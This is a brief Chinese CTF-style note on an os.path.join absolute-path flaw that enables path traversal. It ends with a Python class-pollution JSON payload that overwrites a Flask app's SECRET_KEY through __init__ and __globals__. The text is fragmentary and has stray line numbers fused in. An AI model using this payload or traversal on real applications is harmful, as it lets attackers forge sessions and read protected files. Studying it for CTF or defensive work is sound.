123456os.path.join()函数存在绝对路径拼接漏洞os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径如:os.path.join('upload/','/flag'),访问g /static带数据 /templates覆盖模板 污染全局变量 1234567891011payload = { "__init__":{ "__globals__":{ "app":{ "config":{ "SECRET_KEY":"abc" } } } }}